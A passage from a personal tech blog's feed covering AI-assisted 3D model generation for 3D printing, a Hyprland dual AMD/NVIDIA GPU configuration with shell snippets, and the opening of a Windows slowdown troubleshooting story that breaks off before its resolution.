<li><a href="https://3d.hunyuanglobal.com/"target="_blank" rel="noopener">Hunyuan Global</a>, by Tencent. There&rsquo;s the Chinese platform - which is more complete - and the global English version which is more limited. With it you can create 3D models from images with exceptional quality.</li>
<li><a href="https://www.hitem3d.ai/home"target="_blank" rel="noopener">Hitem3D</a> - competes with Hunyuan, also excellent for generating 3D models from images. Worth testing both because depending on the images you feed them, one may turn out better than the other.</li>
<li><a href="https://yvo3d.com/"target="_blank" rel="noopener">Yvo3D</a> - one of the pricier ones, but specifically for generating high-quality textures, it seems to be the best by far.</li>
</ul>
<p>There are plenty of other platforms and to stay current there&rsquo;s the site <a href="https://www.top3d.ai/"target="_blank" rel="noopener"><strong>Top3D.ai</strong></a> with a ranking of the best tools. Most of them usually have free plans, trials, or similar, so it&rsquo;s worth testing as many as you can. The pricing isn&rsquo;t &ldquo;expensive&rdquo; if you&rsquo;re a professional using this for client work. It&rsquo;s only expensive for guys like me, who use it as a hobby.</p>
<p>Some others worth testing are Hyper3D Rodin, Tripo AI, Prism, and SAM 3D. The YouTube channels I recommended have videos about them, so at least go watch those.</p>
<h3>The Ace Up the Sleeve: Nano Banana<span class="hx:absolute hx:-mt-20" id="the-ace-up-the-sleeve-nano-banana"></span>
    <a href="#the-ace-up-the-sleeve-nano-banana" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>The big trick for any platform, open source or commercial, is starting with high-quality images. Images from Google Images, or your badly taken photos, will always result in bad 3D models.</p>
<p>To clean up images, the easiest way is to go to <a href="https://gemini.google/br/overview/image-generation/?hl=pt-BR"target="_blank" rel="noopener"><strong>Google Nano Banana</strong></a>. It&rsquo;s by far the best AI platform for editing and generating images.</p>
<p>As an example, I decided to start from an image my girlfriend commissioned from an artist on <strong>Fiverr</strong> that we turned into stickers for our arcade. This image:</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20260123123341_TOMIKO_NAGAI%20left.png" alt="arcade original left"  loading="lazy" /></p>
<p>The first thing I asked Nano Banana was to remove the background and isolate just the character. It&rsquo;s the kind of thing that used to require Photoshop. Look how it turns out now:</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20260123123457_no-background.png" alt="arcade no background"  loading="lazy" /></p>
<p>(ignore that it&rsquo;s mirrored, I was too lazy to grab the right image.)</p>
<p>Anyway, that&rsquo;s still not enough to generate 3D. Specifically for generating character models, the ideal is to have images in <strong>&ldquo;T-Pose&rdquo;</strong>, meaning the person standing upright with arms spread out like Jesus. And having photos from exactly the front, back, left, and right.</p>
<p>And you can ask Nano Banana to do exactly that: <em>&ldquo;generate a front photo of this character in T-Pose, for 3D modeling&rdquo;</em> and it generates this:</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20260123124015_front.png" alt="t-pose front"  loading="lazy" /></p>
<p>Half the job is done at this step. Without this you can&rsquo;t generate good models. Now just ask it to generate the other angles, like the back:</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20260123124004_back.png" alt="t-pose back"  loading="lazy" /></p>
<p>Same thing, images from the left angle, the right, and done. At least 4 <strong>consistent, coherent, clean</strong> images.</p>
<h2>Hunyuan Global<span class="hx:absolute hx:-mt-20" id="hunyuan-global"></span>
    <a href="#hunyuan-global" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Now comes the simple part. Just pick Hunyuan or Hitem3D. In this case, I picked Hunyuan:</p>
<p><a href="https://3d.hunyuanglobal.com/"target="_blank" rel="noopener"><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20260123124227_screenshot-2026-01-23_12-42-16.png" alt="Hunyuan Generate"  loading="lazy" /></a></p>
<p>Just pick the new 3.0 version model and generate with 1.5 million polygons (yes, it&rsquo;s quite heavy, but you can just remesh afterwards) and optionally generate textures (knowing upfront that Hunyuan isn&rsquo;t great with textures).</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20260123124359_screenshot-2026-01-18_13-35-13.png" alt="Hunyuan model"  loading="lazy" /></p>
<p>And look at the result. Perfect! As is, it&rsquo;s already usable. Like I said, it&rsquo;s not great with textures, but since my goal for this test was to print on my 3D printer, I didn&rsquo;t worry about textures.</p>
<p>Opening it in Blender, I can apply a remesh modifier to lower the polygon resolution and convert everything into quads, and it ends up like this:</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20260123124605_screenshot-2026-01-18_13-46-35.png" alt="Blender model"  loading="lazy" /></p>
<p>And right off the bat I tried to print it and out it came:</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20260123124749_20260123_124442.png" alt="Bambulab 3d Print"  loading="lazy" /></p>
<p>I was particularly impressed by the details: nothing crooked, nothing out of place, hands with 5 fingers, correct proportions, perfect face details, perfect hair.</p>
<blockquote>
  <p>Think about this: I went from nothing, to AI, to a physical 3D print!</p>

</blockquote>
<p>And now that I have this model, I can send it to <a href="https://www.mixamo.com/#/"target="_blank" rel="noopener"><strong>Adobe Mixamo</strong></a>, which is an online tool to reuse pre-made poses.</p>
<p><a href="https://www.mixamo.com/#/"target="_blank" rel="noopener"><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20260123124934_screenshot-2026-01-18_14-12-07.png" alt="mixamo pose"  loading="lazy" /></a></p>
<p>I can upload my model, calibrate the armature/skeleton, and put it in whatever pose I want. Here&rsquo;s an example:</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20260123125208_screenshot-2026-01-23_12-51-46.png" alt="model sitting"  loading="lazy" /></p>
<p>In Blender I can calibrate the weight of parts of the mesh and other details to improve the pose, but 80% of the work is already done automatically. With this I can do animations and much more.</p>
<p>So yes, 3D modeling is already a reality with AI. There are dozens of tools for different use cases and specialties, like texture generation, skeletons, animation.</p>
<p>The main thing: start with a good foundation using Nano Banana like I said, that&rsquo;s the main trick to make everything else work properly. And keep an eye on Tencent: Hunyuan is the most interesting model.</p>
<p>On the open source side there&rsquo;s small Hunyuan to run locally and now Trellis2. Also keep an eye on new workflows that use both together in ComfyUI.</p>
<p>On my end, for doing simple things I want to 3D print on my Bambulab X1C, this is already more than excellent!</p>
]]></content:encoded><category>generative-media</category><category>hardware</category></item><item><title>Omarchy 3: Dual GPU Setup with AMD and NVIDIA</title><link>https://www.akitaonrails.com/en/2026/01/21/omarchy-3-dual-gpu-setup-with-amd-and-nvidia/</link><guid isPermaLink="true">https://www.akitaonrails.com/en/2026/01/21/omarchy-3-dual-gpu-setup-with-amd-and-nvidia/</guid><pubDate>Wed, 21 Jan 2026 15:29:35 -0300</pubDate><description>&lt;p&gt;Another post just so I don&amp;rsquo;t forget these details when configuring &lt;a href="https://omarchy.org/"target="_blank" rel="noopener"&gt;Omarchy&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Hyprland doesn&amp;rsquo;t play nice with NVIDIA&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;You can use it. But there are several little problems, particularly with &lt;a href="https://github.com/basecamp/omarchy/issues/1147"target="_blank" rel="noopener"&gt;Hyprlock&lt;/a&gt;, and particularly with DPMS where I leave my computer idle, it locks itself, and after a timeout turns off the monitors to save power, avoid burn-in, etc.&lt;/p&gt;
&lt;p&gt;When I try to wake it from sleep, Hyprlock crashed and I have to jump to another TTY to restart it. I even wrote a &lt;code&gt;~/.local/bin/hypr_unlock.sh&lt;/code&gt; script like this:&lt;/p&gt;</description><content:encoded><![CDATA[<p>Another post just so I don&rsquo;t forget these details when configuring <a href="https://omarchy.org/"target="_blank" rel="noopener">Omarchy</a>:</p>
<blockquote>
  <p>Hyprland doesn&rsquo;t play nice with NVIDIA</p>

</blockquote>
<p>You can use it. But there are several little problems, particularly with <a href="https://github.com/basecamp/omarchy/issues/1147"target="_blank" rel="noopener">Hyprlock</a>, and particularly with DPMS where I leave my computer idle, it locks itself, and after a timeout turns off the monitors to save power, avoid burn-in, etc.</p>
<p>When I try to wake it from sleep, Hyprlock crashed and I have to jump to another TTY to restart it. I even wrote a <code>~/.local/bin/hypr_unlock.sh</code> script like this:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">hyprctl --instance <span class="m">0</span> <span class="s1">&#39;keyword misc:allow_session_lock_restore 1&#39;</span>
</span></span><span class="line"><span class="cl">hyprctl --instance <span class="m">0</span> <span class="s1">&#39;dispatch exec hyprlock&#39;</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>But then I unlock and see that my Brave crashed too. NVIDIA really doesn&rsquo;t like the monitor being turned off while it&rsquo;s active. People said this happened in Hyprlock 0.9.1, but I&rsquo;m already on 0.9.2 and it still crashes. I tried enabling services like nvidia-suspend/resume/hibernate, but nothing worked either.</p>
<p>At the end of the day I decided it&rsquo;s not worth fighting with this: I have an <strong>AMD 7850X3D</strong>, and this CPU has an iGPU (integrated GPU), an AMD Raphael, which for things like rendering a window manager is more than powerful enough.</p>
<p>First, detect the GPUs:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">❯ ls /dev/dri/by-path
</span></span><span class="line"><span class="cl">Permissions Size User Date Modified Name
</span></span><span class="line"><span class="cl">lrwxrwxrwx     - root <span class="m">21</span> Jan 15:22   pci-0000:01:00.0-card -&gt; ../card1
</span></span><span class="line"><span class="cl">lrwxrwxrwx     - root <span class="m">21</span> Jan 15:22   pci-0000:01:00.0-render -&gt; ../renderD128
</span></span><span class="line"><span class="cl">lrwxrwxrwx     - root <span class="m">21</span> Jan 15:22   pci-0000:1a:00.0-card -&gt; ../card2
</span></span><span class="line"><span class="cl">lrwxrwxrwx     - root <span class="m">21</span> Jan 15:22   pci-0000:1a:00.0-render -&gt; ../renderD129</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>To find out which is AMD and which is NVIDIA, just run:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">❯ lspci <span class="p">|</span> grep -i vga
</span></span><span class="line"><span class="cl">01:00.0 VGA compatible controller: NVIDIA Corporation GB202 <span class="o">[</span>GeForce RTX 5090<span class="o">]</span> <span class="o">(</span>rev a1<span class="o">)</span>
</span></span><span class="line"><span class="cl">1a:00.0 VGA compatible controller: Advanced Micro Devices, Inc. <span class="o">[</span>AMD/ATI<span class="o">]</span> Raphael <span class="o">(</span>rev c9<span class="o">)</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Done. From the PCI ID we know card1 is NVIDIA and card2 is AMD. Now I need to configure my <code>~/.config/hypr/hyprland.conf</code>:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">....
</span></span><span class="line"><span class="cl"><span class="c1"># NVIDIA environment variables</span>
</span></span><span class="line"><span class="cl"><span class="nv">env</span> <span class="o">=</span> NVD_BACKEND,direct
</span></span><span class="line"><span class="cl"><span class="c1">#env = LIBVA_DRIVER_NAME,nvidia</span>
</span></span><span class="line"><span class="cl"><span class="nv">env</span> <span class="o">=</span> LIBVA_DRIVER_NAME,radeonsi
</span></span><span class="line"><span class="cl"><span class="c1">#env = __GLX_VENDOR_LIBRARY_NAME,nvidia</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Comment these out when using AMD as primary</span>
</span></span><span class="line"><span class="cl"><span class="c1">#env = __NV_PRIME_RENDER_OFFLOAD,1</span>
</span></span><span class="line"><span class="cl"><span class="c1">#env = __VK_LAYER_NV_optimus,NVIDIA_only</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># card1=nvidia, card2=amdgpu (verify with: cat /sys/class/drm/card*/device/uevent)</span>
</span></span><span class="line"><span class="cl"><span class="c1"># AMD first for iGPU primary:</span>
</span></span><span class="line"><span class="cl"><span class="nv">env</span> <span class="o">=</span> AQ_DRM_DEVICES,/dev/dri/card2:/dev/dri/card1
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nv">env</span> <span class="o">=</span> ELECTRON_OZONE_PLATFORM_HINT,auto</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>I left the NVIDIA-specific settings commented out; none of them can be active. But the most important line is <code>AQ_DRM_DEVICES</code>, which lists the order for Hyprland to pick the GPU. Card2/AMD has to come first. Done, just reboot and move the HDMI cables to the iGPU output.</p>
<p>With that, I can now choose to offload only some apps to the NVIDIA using Prime. For that, I first created the script <code>~/.local/bin/nvidia-load.sh</code>:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="cp">#!/bin/bash
</span></span></span><span class="line"><span class="cl"><span class="nv">__NV_PRIME_RENDER_OFFLOAD</span><span class="o">=</span><span class="m">1</span> <span class="nv">__VK_LAYER_NV_optimus</span><span class="o">=</span>NVIDIA_only <span class="nv">__GLX_VENDOR_LIBRARY_NAME</span><span class="o">=</span>nvidia <span class="s2">&#34;</span><span class="nv">$@</span><span class="s2">&#34;</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Finally, I configured some bindings in <code>~/.config/hypr/bindings.conf</code>:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">...
</span></span><span class="line"><span class="cl"><span class="nv">bindd</span> <span class="o">=</span> SUPER SHIFT, B, Blender, exec, ~/.local/bin/nvidia-load.sh blender
</span></span><span class="line"><span class="cl"><span class="nv">bindd</span> <span class="o">=</span> SUPER SHIFT, L, Bambu Studio, exec, ~/.local/bin/nvidia-load.sh bambu-studio
</span></span><span class="line"><span class="cl"><span class="nv">bindd</span> <span class="o">=</span> SUPER SHIFT, P, Blender, exec, ~/.local/bin/nvidia-load.sh plasticity
</span></span><span class="line"><span class="cl">...</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>This way, only Blender, Plasticity, and Bambu Studio, which primarily use the NVIDIA to render 3D in real time. All the other apps open on the AMD iGPU.</p>
<p>AI tools like ComfyUI, Ollama, or LM Studio automatically recognize the NVIDIA and pick it. And with that I also have more free VRAM to load LLMs.</p>
<p>If you&rsquo;re going to use XLibre/X.org, you can stay on NVIDIA just fine. But if you&rsquo;re going to use Wayland, NVIDIA still isn&rsquo;t fully stable, particularly with Hyprland. It&rsquo;s less of a headache to drop in a second AMD GPU just for this.</p>
]]></content:encoded><category>omarchy</category><category>hardware</category><category>linux</category></item><item><title>Your Windows May Be Crippled Without You Knowing. Check This!!</title><link>https://www.akitaonrails.com/en/2025/05/21/your-windows-may-be-crippled-without-you-knowing-check-this/</link><guid isPermaLink="true">https://www.akitaonrails.com/en/2025/05/21/your-windows-may-be-crippled-without-you-knowing-check-this/</guid><pubDate>Wed, 21 May 2025 17:15:00 -0300</pubDate><description>&lt;p&gt;I usually don&amp;rsquo;t bother documenting silly Windows problems, but this one in particular got me really annoyed, so I&amp;rsquo;m going to report the sequence of events. But let me just drop the spoiler right now: open Control Panel and Power Options on your Windows and check if it&amp;rsquo;s not in &amp;ldquo;Power saver&amp;rdquo; mode. Get it out of that garbage, at the very least leave it on Balanced, but if it&amp;rsquo;s a desktop PC bump it up to &amp;ldquo;High Performance&amp;rdquo; or &amp;ldquo;Ultimate Performance&amp;rdquo;. Thank me later.&lt;/p&gt;</description><content:encoded><![CDATA[<p>I usually don&rsquo;t bother documenting silly Windows problems, but this one in particular got me really annoyed, so I&rsquo;m going to report the sequence of events. But let me just drop the spoiler right now: open Control Panel and Power Options on your Windows and check if it&rsquo;s not in &ldquo;Power saver&rdquo; mode. Get it out of that garbage, at the very least leave it on Balanced, but if it&rsquo;s a desktop PC bump it up to &ldquo;High Performance&rdquo; or &ldquo;Ultimate Performance&rdquo;. Thank me later.</p>
<p>Now sit down, here comes the story.</p>
<p>I built a pretty decent PC for my girlfriend: Intel i7 12th Gen 8 cores, 32GB DDR4-2400, NVIDIA RTX 3090, MSI Edge z790 motherboard, NVME and I even hooked up a Synology DS1621+ NAS on a 2.5Gbps network - because she&rsquo;s a content creator and has A LOT of video to edit. Modesty aside, it turned out pretty nice:</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/a8c82k3ocnpu1jamxb9w0z1fx2cf" alt="pc branco"  loading="lazy" /></p>
<p>Everything worked very well for a long time, but eventually, for no apparent reason, everything started feeling kind of slow. Not completely slow, but sometimes web pages seemed to stutter while loading. I&rsquo;d click on the Windows Start menu and it seemed to freeze up. Sometimes Explorer would hang and I&rsquo;d need to go to Task Manager and restart the process manually. Several super inconvenient things but none of them throwing any explicit &ldquo;error&rdquo;. It just felt &ldquo;weird&rdquo;.</p>
<p>I&rsquo;m a Linux user. My main PC is Manjaro Linux. I only use Windows on my gaming mini-PCs, exclusively to run Steam and some emulators. I avoid installing anything on them at all costs. Because I know how much of a pain it is to diagnose Windows after some weird program invades it.</p>
<p>I went after the usual suspects. She had installed games for streaming, like Valorant, Genshin Impact and stuff like that. I always suspect anti-cheats, the crap from Riot Vanguard or Easy or VAC. I started by uninstalling all the games. But I always think anti-cheat is like malware: once installed, it will never leave the system. I uninstalled everything, but that feeling of kind of freezing, kind of slow, intermittent, remained.</p>
<p>I tried the next suspects: peripheral software, like Elgato, Logitech, Razer stuff that install a bunch of garbage on your machines, and recently I was reading about the malware that was shipping with all of them. Watch this GamersNexus video to understand the house of cards that the whole peripheral industry with RGB has become:</p>


<div class="embed-container">
  <iframe
    src="https://www.youtube.com/embed/H_O5JtBqODA"
    title="YouTube video player"
    frameborder="0"
    allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share"
    referrerpolicy="strict-origin-when-cross-origin"
    allowfullscreen>
  </iframe>
</div>

<p>Even uninstalling all of them, still the same behavior: kind of slow, kind of freezing, unstable.</p>
<p>Let&rsquo;s try to go deeper, and for that you have to install tools like <a href="https://learn.microsoft.com/en-us/sysinternals/downloads/autoruns"target="_blank" rel="noopener">Sysinternals Autoruns</a> to see if there&rsquo;s anything starting up (things hidden in the Registry for example). I tried to disable everything I thought was suspicious.</p>
<p>Nothing. By that point I had also made sure that the newest MSI BIOS firmware was installed. I checked that nothing had been turned off in the BIOS, XMP profile was ok, no fast-boot and stuff like that.</p>
<h3>Is It the Internet?<span class="hx:absolute hx:-mt-20" id="is-it-the-internet"></span>
    <a href="#is-it-the-internet" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Since most of the usage is internet and it seemed &ldquo;slow&rdquo;, I thought it might be network problems. Vivo&rsquo;s router? The plan? Wifi with interference?</p>
<p>Running out of patience I decided to go nuclear on the internet idea. In fact, opening the <a href="https://speed.cloudflare.com/"target="_blank" rel="noopener">Cloudflare Speed Test</a> page I could see that the speed itself was ok, but the latency was VERY high, jitter high and, mainly, PACKET LOSS was over 15%. That&rsquo;s not normal, it has to be 0%.</p>
<p>Taking advantage of a trip to Miami I brought back a TP-LINK BE9300 router for Wi-fi 7, and I also bought a compatible Wi-fi 7 PCIe card. I turned off Vivo&rsquo;s Wi-fi router and bumped the plan up to 800Mbps. And indeed, the internet improved a lot:</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/ogesvmtex2ek825hel7d4l0f5i30" alt="vivo internet"  loading="lazy" /></p>
<p>Latency dropped, jitter dropped, packet loss went to 0%.</p>
<p>But this didn&rsquo;t fix the problem. Out of nowhere the browser would pause when loading some page. That feeling of kind of slow, kind of freezing. And yes, I tried switching from Edge to Chrome, to Firefox, to everything. Nothing made any difference. The internet really did get faster, but Windows itself didn&rsquo;t seem to improve much and while browsing, it was getting slower and slower. So the problem wasn&rsquo;t the internet.</p>
<p>I was running out of options. Everything that could be manually cleaned in Windows, I cleaned. There was almost nothing left to delete - and I delete things without mercy. But I always had it in my head that it was some malware, something that loads before boot, some &ldquo;ROOTKIT&rdquo;. Anti-cheats are Rootkits by definition. They load even before the kernel and from that point on, the compromised system can no longer be trusted, because no tool will be able to find it.</p>
<p>Assuming at that point it had to be a compromised system, I decided to go with the nuclear option: reinstall everything from scratch. We backed up the data and off I went to reinstall from scratch.</p>
<h3>Reinstalling DID NOT WORK<span class="hx:absolute hx:-mt-20" id="reinstalling-did-not-work"></span>
    <a href="#reinstalling-did-not-work" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Now it got worse.</p>
<p>With Windows 11 Pro, freshly installed, guaranteed with no third-party software installed, it still had the same behavior of kind of slow, kind of freezing. The start menu wouldn&rsquo;t let me click on anything. I had to open task manager and kill Explorer manually to get it to work again.</p>
<p>I spent some time staring at Task Manager, but there wasn&rsquo;t any process running that I could suspect further: it was bare-bones Windows. I had even run a <a href="https://github.com/Raphire/Win11Debloat"target="_blank" rel="noopener">Debloater</a> to uninstall unnecessary Microsoft apps like Teams.</p>
<p>But lo and behold, from staring at task manager so much, I saw that I had been ignoring an important piece of data. See if you can spot it:</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/pky39kkwcbuyqocwpj15n36i9gai" alt="cpu low"  loading="lazy" /></p>
<p>The image is kind of messed up because I took a photo of the monitor with my phone. The refresh rate clashes with the camera&rsquo;s and you get this &ldquo;grid&rdquo;, but I think you can still read it.</p>
<p>Even when you have almost no program running, it&rsquo;s not natural for the CPU to be at such a low clock, 0.50Ghz - HALF A GIGAHERTZ. This Intel i7 can go above 4Ghz and the base clock is 2Ghz.</p>
<p>I opened browsers, opened tabs, kept monitoring, and it never went above 1.5Ghz. An occasional spike to 2Ghz for 1 second and then it dropped below 1Ghz again. Then I thought: could the AIO be failing??</p>
<p>Looking at Event Viewer you could see when the Start menu (which is part of Explorer.exe) stopped working and froze: it logs it as &ldquo;Hanging Events&rdquo; code 1002.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/dtugk013p4decud6zo1dzg3rjhxr" alt="event viewer"  loading="lazy" /></p>
<p>See all those Errors? All Hanging Events, and &ldquo;hanging&rdquo; is exactly the behavior: something seems to &ldquo;hold&rdquo;, &ldquo;freeze&rdquo; and only by killing the process does it come back to working.</p>
<p>And this was happening before and also AFTER reinstalling everything from scratch. Something seemed fundamentally wrong with the hardware itself. With the super low clock, this behavior starts to make sense: it&rsquo;s so slow it can&rsquo;t even process basic things. Click several times on the Start Menu (which will be digging through recent documents, updating the list of applications, opening the search bar, etc) and there&rsquo;s no clock to process all that while there&rsquo;s still Windows Defender in background, browser tabs processing.</p>
<h3>Could It Be Thermal Throttle??<span class="hx:absolute hx:-mt-20" id="could-it-be-thermal-throttle"></span>
    <a href="#could-it-be-thermal-throttle" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Since Windows was wiped clean, it can&rsquo;t be anti-cheat anymore, it can&rsquo;t be some weird anti-virus, it can&rsquo;t be malware, it&rsquo;s not the internet, it had to be something EXTERNAL, that was what made sense.</p>
<p>I opened the PC and left it open so I could feel if the heatsink was getting absurdly hot. If it was, it would mean my AIO (Coolermaster Watercooler) had started to fail.</p>
<p>It&rsquo;s normal for the CPU, when it overheats, to drop the clock to avoid burning the chip. This is called &ldquo;THERMAL THROTTLING&rdquo;.</p>
<p>And again, weird: it was COLD to the touch!!!</p>
<p>No way. I opened the BIOS to re-check fan profiles, but everything was normal:</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/yl02sk0dug6zj9d1gen877d22gnw" alt="cpu fans"  loading="lazy" /></p>
<p>That&rsquo;s when it finally hit me:</p>
<pre><code>**LET ME CHECK THE POWER SETTINGS**
</code></pre>
<p>On a normal PC/laptop, it should show something like this:</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/a5dkm6eag4ebma6ye1i1mnzphy3s" alt="Power Settings"  loading="lazy" /></p>
<p>By default, Windows always boots in &ldquo;Balanced Mode&rdquo;.</p>
<p>But on my girlfriend&rsquo;s PC, <strong>I have no idea why</strong>, there was no Power Mode option!!! And I&rsquo;m on a Windows 11 Pro with a paid license!!</p>
<p>That&rsquo;s weird, but I know that in the old Control Panel, there&rsquo;s a Power Options entry:</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/70ymku67f5ufp0pd76jp0b2hqjx2" alt="control panel"  loading="lazy" /></p>
<p>AND THERE&rsquo;S THE PROBLEM:</p>
